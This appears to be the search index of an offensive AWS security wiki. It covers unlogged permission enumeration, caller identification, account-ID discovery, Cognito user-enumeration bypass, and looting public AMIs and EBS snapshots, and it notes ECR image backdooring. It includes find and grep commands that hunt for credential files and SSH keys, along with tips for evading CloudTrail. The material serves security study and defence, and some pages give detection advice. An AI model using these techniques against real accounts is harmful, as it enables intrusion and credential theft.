The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.

The following services are affected, although please note, that not all actions for these services can be enumerated.

application-autoscaling appstream athena autoscaling-plans aws-marketplace cloudhsm codecommit codepipeline codestar comprehend cur datapipeline dax discovery forecast gamelift health identitystore kinesis kinesisanalytics macie mediastore mgh mturk-requester opsworks-cm personalize redshift-data route53domains route53resolver sagemaker secretsmanager shield sms snowball support tagging textract translate workmail

Note

For an in depth explanation for the bug, please see the original research. In this article we will just discuss how to take advantage of it.

There are some conditions to the enumeration, and they are defined below.

1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to \"*\".

To perform the enumeration there is a script here. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.

"},{"location":"aws/deprecated/whoami/","title":"[Deprecated] Whoami - Get Principal Name From Keys","text":""},{"location":"aws/deprecated/whoami/#sns-publish","title":"sns publish","text":"

Warning

As of Q4 2023 these calls can optionally be tracked in CloudTrail by enabling dataplane logging. While this will not be enabled for the overwhelming majority of AWS accounts, there is no reason to risk it when there are other methods available.

sns:Publish would return the ARN of the calling user/role without logging to CloudTrail. To use this method, you had to provide a valid AWS account ID in the API call. This could be your own account id, or the account id of anyone else.

user@host:~$ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa\n\nAn error occurred (AuthorizationError) when calling the Publish operation: User: arn:aws:iam::123456789123:user/no-perm is not authorized to perform: SNS:Publish on resource: arn:aws:sns:us-east-1:*account id*:aaa because no resource-based policy allows the SNS:Publish action\n
"},{"location":"aws/deprecated/whoami/#sdb-list-domains","title":"sdb list-domains","text":"

Warning

As of August 15, 2020 these calls are now tracked in CloudTrail (tweet). This page is maintained for historical and inspiration purposes.

As found by Spencer Gietzen, the API call for sdb list-domains will return very similar information to get-caller-identity.

user@host:$ aws sdb list-domains --region us-east-1\n\nAn error occurred (AuthorizationFailure) when calling the ListDomains operation: User (arn:aws:sts::123456789012:assumed-role/example_role/i-00000000000000000) does not have permission to perform (sdb:ListDomains) on resource (arn:aws:sdb:us-east-1:123456789012:domain/). Contact account owner.\n
"},{"location":"aws/enumeration/account_id_from_ec2/","title":"Enumerate AWS Account ID from an EC2 Instance","text":"

With shell or command line access to an EC2 instance, you will be able to determine some key information about the AWS account.

"},{"location":"aws/enumeration/account_id_from_ec2/#get-caller-identity","title":"get-caller-identity","text":"

By using get-caller-identity, the EC2 instance may have an EC2 instance profile setup.

user@host:$ aws sts get-caller-identity\n{\n   \"Account\": \"000000000000\",\n   \"UserId\": \"AROAJIWIJQ5KCHMJX4EWI:i-00000000000000000\",\n   \"Arn\": \"arn:aws:sts::000000000000:assumed-role/AmazonLightsailInstanceRole/i-00000000000000000\"\n}\n
"},{"location":"aws/enumeration/account_id_from_ec2/#metadata","title":"Metadata","text":"

By using the metadata service, you will be able to retrieve additional information about the account, and more specifically for the EC2 instance being used.

TOKEN=`curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\"`\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/dynamic/instance-identity/document\n
The output will reveal additional information.
{\n   \"accountId\" : \"000000000000\",\n   \"architecture\" : \"x86_64\",\n   \"availabilityZone\" : \"ap-southeast-2a\",\n   \"billingProducts\" : null,\n   \"devpayProductCodes\" : null,\n   \"marketplaceProductCodes\" : null,\n   \"imageId\" : \"ami-042c4533fa25c105a\",\n   \"instanceId\" : \"i-00000000000000000\",\n   \"instanceType\" : \"t2.nano\",\n   \"kernelId\" : null,\n   \"pendingTime\" : \"2022-02-27T22:34:30Z\",\n   \"privateIp\" : \"172.26.6.225\",\n   \"ramdiskId\" : null,\n   \"region\" : \"ap-southeast-2\",\n   \"version\" : \"2017-09-30\"\n}\n

"},{"location":"aws/enumeration/account_id_from_s3_bucket/","title":"Enumerate AWS Account ID from a Public S3 Bucket","text":"
  • Original Research

    Finding the Account ID of any public S3 bucket by Ben Bridts

  • Tools mentioned in this article

    s3-account-search: A tool to find the account ID an S3 bucket belongs to.

Note

When you install a version <0.2.0 using pip, the executable is named s3-account-search.

By leveraging the s3:ResourceAccount policy condition, we can identify the AWS account ID associated with a public S3 bucket. This is possible because it supports wildcards (*). With this, we can sequentially enumerate the account ID.

To test this, you can use Grayhat Warfare's list of public S3 buckets.

You will need a role with s3:getObject and s3:ListBucket permissions, and you can specify the target bucket as the resource for your policy. Alternatively, you can set a resource of '*' to quickly test multiple buckets.

"},{"location":"aws/enumeration/account_id_from_s3_bucket/#installation","title":"Installation","text":"

The tool can be installed with the following command:

python3 -m pip install s3-account-search\n
"},{"location":"aws/enumeration/account_id_from_s3_bucket/#setup","title":"Setup","text":"

To use the tool, there is some setup on your end. You will need your own AWS account with a role you can assume with the s3:GetObject or s3:ListBucket permissions. s3-account-finder will assume this role so make sure the credentials you're using can do this.

"},{"location":"aws/enumeration/account_id_from_s3_bucket/#usage","title":"Usage","text":"
s3-account-search arn:aws:iam::123456789123:role/s3-searcher <bucket name>\nStarting search (this can take a while)\nfound: 1\nfound: 12\n*** snip ***\nfound: 123456789123\n

Operational Security Tip

As of 2022's announcement, any new buckets are created without the Public Access policy and specifically without any ACLs. The removal of the ACLs means that the GetObject, instead you must enable the AWS ACLs that make S3 Buckets readable in addition to having GetBucket in the IAM Policy. Here is a terraform block to enable this abuse which use to be the default pre-2022.

```\nresource \"aws_s3_bucket_ownership_controls\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    rule {\n        object_ownership = \"BucketOwnerPreferred\"\n    }\n}\n\nresource \"aws_s3_bucket_public_access_block\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n\n    block_public_acls       = false\n    block_public_policy     = false\n    ignore_public_acls      = false\n    restrict_public_buckets = false\n}\n\nresource \"aws_s3_bucket_acl\" \"example\" {\n    bucket = aws_s3_bucket.example.id\n    acl    = \"public-read\"\n\n    depends_on = [\n        aws_s3_bucket_ownership_controls.example,\n        aws_s3_bucket_public_access_block.example\n    ]\n}\n```\n

Tip

Pair this with Unauthenticated Enumeration of IAM Users and Roles!

"},{"location":"aws/enumeration/brute_force_iam_permissions/","title":"Brute Force IAM Permissions","text":"
  • Technique seen in the wild

    Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

  • Tools mentioned in this article

    enumerate-iam: Enumerate the permissions associated with an AWS credential set.

When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough.

This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering enumerate-iam by Andr\u00e9s Riancho.

To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.

user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN\n2020-12-20 18:41:26,375 - 13 - [INFO] Starting permission enumeration for access-key-id \"ASIAAAAAAAAAAAAAAAAA\"\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account ARN : arn:aws:sts::012345678912:assumed-role/role-b/user-b\n2020-12-20 18:41:26,812 - 13 - [INFO] -- Account Id  : 012345678912\n2020-12-20 18:41:26,813 - 13 - [INFO] -- Account Path: assumed-role/role-b/user-b\n2020-12-20 18:41:27,283 - 13 - [INFO] Attempting common-service describe / list brute force.\n2020-12-20 18:41:34,992 - 13 - [INFO] -- codestar.list_projects() worked!\n2020-12-20 18:41:35,928 - 13 - [INFO] -- sts.get_caller_identity() worked!\n2020-12-20 18:41:36,838 - 13 - [INFO] -- dynamodb.describe_endpoints() worked!\n2020-12-20 18:41:38,107 - 13 - [INFO] -- sagemaker.list_models() worked!\n
"},{"location":"aws/enumeration/brute_force_iam_permissions/#updating-apis","title":"Updating APIs","text":"

With an attack surface that evolves as rapidly as AWS, we often have to find and abuse newer features. This is one area where enumerate-iam shines. The tool itself has a built in feature to read in new AWS API calls from the JavaScript SDK, and use that information to brute force. After downloading enumerate-iam, perform the following steps to update the API lists.

cd enumerate_iam/\ngit clone https://github.com/aws/aws-sdk-js.git\npython generate_bruteforce_tests.py\n

This will create or update a file named bruteforce_tests.py under enumerate-iam.

"},{"location":"aws/enumeration/brute_force_iam_permissions/#opsec-considerations","title":"OPSEC Considerations","text":"

One thing to note is that this tool is very noisy and will generate a ton of CloudTrail logs. This makes it very easy for a defender to spot this activity and lock you out of that role or user. Try other methods of permission enumeration first, or be willing to lose access to these credentials before resorting to brute-force.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/","title":"Bypass Cognito Account Enumeration Controls","text":"
  • Additional Resources

    AWS Docs: Managing user existence error responses

Amazon Cognito is a popular \u201csign-in as a service\u201d offering from AWS. It allows developers to push the responsibility of developing authentication, sign up, and secure credential storage to AWS so they can instead focus on building their app.

By default, Cognito will set a configuration called Prevent user existence errors. This is designed to prevent adversaries from enumerating accounts and using that information for further attacks, such as credential stuffing.

While this is useful in theory, and a good default to have, it can be bypassed via cognito-idp:SignUp calls for usernames. This bypass was originally reported via a GitHub issue in July 2020 and Cognito is still vulnerable as of early 2024.

Note

Cognito user pools can be configured to prevent disclosing user existence errors via alias attributes for email addresses and phone numbers, but not usernames. Be mindful that the 'Prevent user existence errors' setting does not cover all scenarios as detailed below.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#example-responses","title":"Example Responses","text":"

To demonstrate the responses depending on the configuration and if a user does/does not exist, here are some examples. The admin user exists in the user pool and is the account we will be trying to enumerate.

Note

The client-id value for a Cognito User Pool is not secret and is accessible from the JavaScript served by the client.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists","title":"Prevent user existence errors on and user exists","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist","title":"Prevent user existence errors on and user does not exist","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-exists","title":"Prevent user existence errors off and user exists","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=admin,PASSWORD=blah\n\nAn error occurred (NotAuthorizedException) when calling the InitiateAuth operation: Incorrect username or password.\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-off-and-user-does-not-exist","title":"Prevent user existence errors off and user does not exist","text":"
$ aws cognito-idp initiate-auth \\\n--auth-flow USER_PASSWORD_AUTH \\\n--client-id 719\u2026 \\\n--auth-parameters USERNAME=notreal,PASSWORD=blah\n\nAn error occurred (UserNotFoundException) when calling the InitiateAuth operation: User does not exist.\n

As you can see, an adversary can use the UserNotFoundException and NotAuthorizedException to enumerate whether an account does or does not exist. By enabling the Prevent user existence errors configuration, defenders can successfully mitigate these types of attacks. However we will show how it can be bypassed.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cognito-idpsignup","title":"cognito-idp:SignUp","text":"

The Prevent user existence errors configuration appears to only impact the initiate-auth flow. It does not impact cognito-idp:SignUp. Because of this we can use this API call to enumerate if a user does or does not exist. Please see the following examples:

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-exists_1","title":"Prevent user existence errors on and user exists","text":"
$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username admin \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n\nAn error occurred (UsernameExistsException) when calling the SignUp operation: User already exists\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#prevent-user-existence-errors-on-and-user-does-not-exist_1","title":"Prevent user existence errors on and user does not exist","text":"
$ aws cognito-idp sign-up \\\n--client-id 719... \\\n--username notreal \\\n--password \"BlahBlah123!\" \\\n--user-attributes Name=email,Value=\"blah@blah.net\"\n{\n    \"UserConfirmed\": false,\n    \"CodeDeliveryDetails\": {\n        \"Destination\": \"b***@b***\",\n        \"DeliveryMedium\": \"EMAIL\",\n        \"AttributeName\": \"email\"\n    },\n    \"UserSub\": \"a20\u2026\"\n}\n
"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#detection-opportunities","title":"Detection Opportunities","text":"

If an adversary is using this technique at scale to identify what accounts exist in your user pool, you can attempt to detect this behavior by alerting on a sudden increase in Unconfirmed user accounts.

Depending on the configuration of your user pool, an adversary could attempt to get around this by using a real email address to confirm the user name.

"},{"location":"aws/enumeration/bypass_cognito_user_enumeration_controls/#cloudtrail-and-cloudwatch-limitations","title":"CloudTrail and CloudWatch Limitations","text":"

If you attempt to build detections around this using CloudTrail or CloudWatch, you will run into challenges. This is because a significant portion of useful telemetry (basically all of it) is omitted in these logs. For example, the userIdentity who made the API call is Anonymous

{\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"Unknown\",\n        \"principalId\": \"Anonymous\"\n}\n

And the username and userAttributes are hidden:

\"requestParameters\": {\n    \"clientId\": \"719...\",\n    \"username\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"password\": \"HIDDEN_DUE_TO_SECURITY_REASONS\",\n    \"userAttributes\": \"HIDDEN_DUE_TO_SECURITY_REASONS\"\n}\n

For this reason, you can use CloudTrail or CloudWatch to track the number of cognito-idp:SignUp calls, and their associated sourceIPAddress, but not access their details.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/","title":"Discover secrets in public AMIs","text":"
  • Original Research

    AWS CloudQuarry: Digging for Secrets in Public AMIs by Eduard Agavriloae and Matei Josephs.

For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#finding-exposed-amis","title":"Finding Exposed AMIs","text":"

Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.

However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:

aws ec2 describe-images --owners <account_id> --include-deprecated --region <region>\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#using-public-amis-and-scanning-for-credentials","title":"Using Public AMIs and Scanning for Credentials","text":"

Once you've identified public AMIs, you can use them to launch instances and manually scan for sensitive information, including credentials.

"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#launching-an-instance-from-a-public-ami","title":"Launching an Instance from a Public AMI","text":"

To launch an instance from a public AMI, follow these steps:

  1. Launch an Instance: Using the AWS CLI, launch an instance using the desired AMI:
    aws ec2 run-instances --image-id <image_id> --instance-type t2.micro --key-name <key-pair>\n
  2. Access the Instance: Once the instance is running, connect to it using Session Manager or SSH:
    ssh -i <your-key-pair>.pem ec2-user@<public-dns-of-instance>\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#manually-scanning-for-credentials","title":"Manually Scanning for Credentials","text":"

Manual scanning involves checking common locations where credentials may be stored. Here are some typical command-line operations that can help:

  1. Search for AWS Credentials:
    find / -name \"credentials\" -type f\n
  2. Search for SSH Keys:
    find / -name \"id_rsa\" -type f\n
  3. Look for Configuration Files Containing Sensitive Information: Use grep to locate keywords such as 'password', 'secret', 'key', etc.
    grep -ri 'password\\|secret\\|key' /path/to/search\n
"},{"location":"aws/enumeration/discover_secrets_in_public_aims/#automating-the-process","title":"Automating the Process","text":"

While the manual process can be effective for targeted searches, automation provides efficiency and consistency at scale.

You can write scripts or use specialized tools to automate the detection of sensitive information. Here are some approaches:

  1. Using Bash Scripts: Create a script that executes various find and grep commands. Save this as scan.sh:
    #!/bin/bash\n# Search for AWS credentials\nfind /home -name \"credentials\" -print\n\n# Search for SSH keys\nfind /home -name \"id_rsa\" -print\n\n# Search for sensitive information in configuration files\ngrep -ri 'password\\|secret\\|key' /home\n
    Run the script on each instance:
    chmod +x scan.sh\n./scan.sh\n
  2. Using Specialized Tools: Tools like truffleHog and gitleaks can detect sensitive information in codebases and configurations.
"},{"location":"aws/enumeration/enum_iam_user_role/","title":"Unauthenticated Enumeration of IAM Users and Roles","text":"
  • Original Research

    Hacking AWS end-to-end - remastered by Daniel Grzelak

  • Additional Resources

    Reference: Unauthenticated AWS Role Enumeration (IAM Revisited)

  • Tools mentioned in this article

    • quiet-riot
    • enumerate_iam_using_bucket_policy
    • pacu:iam_enum_roles

You can enumerate AWS Account IDs, Root User account e-mail addresses, IAM roles, IAM users, and gain insights to enabled AWS and third-party services by abusing Resource-Based Policies, even in accounts for which you have no access. Quiet Riot offers a scalable method for enumerating each of these items with configurable wordlists per item type. Furthermore - it also allows you to enumerate Azure Active Directory and Google Workspace valid email addresses - which can then be used to test for valid Root User accounts in AWS, assuming that the email address is the same.

Ultimately, if you want to perform these techniques at scale - Quiet Riot is your best bet, but if you want to do it manually, you can a number of ways to do so. Another way to enumerate IAM principals would be to use S3 Bucket Policies. Take the following example:

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Example permissions\",\n            \"Effect\": \"Deny\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::123456789123:role/role_name\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::*bucket you own*\"\n        }\n    ]\n}\n

You would apply this policy to a bucket you own. By specifying a principal in the target account (123456789123), you can determine if that principals exists. If setting the bucket policy succeeds you know the role exists. If it fails you know the role does not.

There are a few ways to do this, for example, Pacu's module will attempt to change the AssumeRole policy of a role in your account and specify a role in another account. If the role exists, the policy will be updated and no error will be returned. If the role does not exist, the policy will not be updated and instead return an error.

Warning

Doing either of these techniques will generate a lot of CloudTrail events, specifically UpdateAssumeRolePolicy or PutBucketPolicy in your account. If your intention is to be stealthy it is not advised (or required) to use a target's credentials. Instead you should use your own account (the CloudTrail events will be generated there).

Note

While this works for both IAM users and roles, this will also work with service-linked roles. This will allow you to enumerate various services the account uses, such as GuardDuty or Organizations.

Another method uses the AWS Console. Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
"},{"location":"aws/enumeration/enumerate_principal_arn_from_unique_id/","title":"Derive a Principal ARN from an AWS Unique Identifier","text":"
  • Original Research

    Reversing AWS IAM unique IDs by Aidan Steele

  • Additional Resources

    Reference: Unique identifiers

When operating in an AWS environment, you may come upon a variety of IAM unique identifiers. These identifiers correspond to different types of AWS resources, and the type of the resource can be identified by the prefix (the first four characters).

For IAM users (AIDA) and roles (AROA) you can reverse the unique ID to its corresponding ARN by referencing it in a resource-based policy.

To do this, we can use the example ID of AROAJMD24IEMKTX6BABJI from Aidan Steele's excellent explanation of the topic. While this technique should work with most resource-based policies, we will use a role's trust policy.

First, we will create a role with the following trust policy:

{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"AROAJMD24IEMKTX6BABJI\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

We will then save the policy and refresh the page.

Note

You may get a warning in the policy editor saying, \"Invalid Role Reference: The Principal element includes the IAM role ID AROAJMD24IEMKTX6BABJI. We recommend that you use a role ARN instead\", however this will not prevent you from saving the policy.

After refreshing the page the policy will now be as follows:

{\n    \"Version\": \"2008-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::607481581596:role/service-role/abctestrole\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

This reveals the ARN of the role associated with the original unique identifier.

"},{"location":"aws/enumeration/enumerate_root_email_from_console/","title":"Enumerate Root User Email Address from the AWS Console","text":"

Based on error responses from the AWS Console it is possible to determine if a given email address belongs to the root user of an AWS account.

From the AWS Console, ensure the Root user radio button is selected and enter an email address that you suspect owns an AWS account.

If that email address is valid, you will be prompted to enter a password. If that email address is invalid, you will receive an error message:

There was an error - An AWS account with that sign-in information does not exist. Try again or create a new account.\n
"},{"location":"aws/enumeration/get-account-id-from-keys/","title":"Get Account ID from AWS Access Keys","text":"
  • Original Research

    • AWS Access Key ID Formats by Aidan Steele
    • A short note on AWS KEY ID by Tal Be'ery

While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.

To solve this problem, there are multiple ways to determine the account ID of IAM credentials.

"},{"location":"aws/enumeration/get-account-id-from-keys/#stsgetaccesskeyinfo","title":"sts:GetAccessKeyInfo","text":"

Likely the most straightforward way is to use sts:GetAccessKeyInfo to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).

user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456\n{\n    \"Account\": \"123456789012\"\n}\n
"},{"location":"aws/enumeration/get-account-id-from-keys/#decode-the-access-key","title":"Decode the access key","text":"

As originally discovered by Aidan Steele, and later improved upon by Tal Be'ery, the account ID is actually encoded into the access key itself.

By decoding the access key using Base32 and doing a little bit shifting, we can get the account ID. Tal wrote the handy Python script below to do this:

import base64\nimport binascii\n\ndef AWSAccount_from_AWSKeyID(AWSKeyID):\n\n    trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix\n    x = base64.b32decode(trimmed_AWSKeyID) #base32 decode\n    y = x[0:6]\n\n    z = int.from_bytes(y, byteorder='big', signed=False)\n    mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)\n\n    e = (z & mask)>>7\n    return (e)\n\n\nprint (\"account id:\" + \"{:012d}\".format(AWSAccount_from_AWSKeyID(\"ASIAQNZGKIQY56JQ7WML\")))\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/","title":"Loot Public EBS Snapshots","text":"

For EC2 instances, files and data are typically stored in Elastic Block Store (EBS) volumes. These virtual hard drives make it easy to attach and move data between your virtual machines. As an additional feature, you can create snapshots of those volumes, which you can use for backups or replication. An important security consideration of these snapshots is that they can be (accidentally or otherwise) made public, accessible for anyone to access and steal the contents of the snapshot.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#making-them-public","title":"Making them Public","text":"

EBS Snapshots have two availability settings, Private and Public. It is important to note that EBS does not utilize resource-based policies. If a snapshot is made public via the console or through Infrastructure as Code, it will be available to anyone with no additional controls.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#finding-exposed-snapshots","title":"Finding Exposed Snapshots","text":"

A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

To pull this list in an easily consumable format you can use the following CLI command:

aws ec2 describe-snapshots --restorable-by-user-ids all\n

As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

Tip

This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

To search for all public EBS snapshots associated with an AWS account, use the following command:

aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"

To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

./prowler -c ec2_ebs_public_snapshot\n
"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"

When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {\"add\": {\"items\": [{ \"groups\": \"all\" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

"},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"

For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

"},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"

After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n
"},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"

sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n
"},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"
  • Original Research

    • Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie
    • Docker Security : Backdooring Images with Dockerscan by Mayank Shah
  • Required IAM Permissions

    Read and write access to an ECR registry

IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

Video Summary:

  • An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
  • The attacker gains access to resources using access to ECR
  • The attacker pulls the latest docker image
  • The attacker adds a layer by injecting a malicious payload to the docker image
  • The attacker pushes the docker image to ECR with the latest tag
  • The victim pulls the latest docker image and starts the container
  • The malicious reverse shell is executed and communicates with the attacker
  • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

Security Recommendations:

  • Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR
  • Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.
  • Enforce signing of docker images
  • (see: https://github.com/notaryproject/notary)
  • Use docker custom security profiles like AppArmor, Seccomp
  • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

"},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"
  • Additional Resources

    • Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed
    • AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang

A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

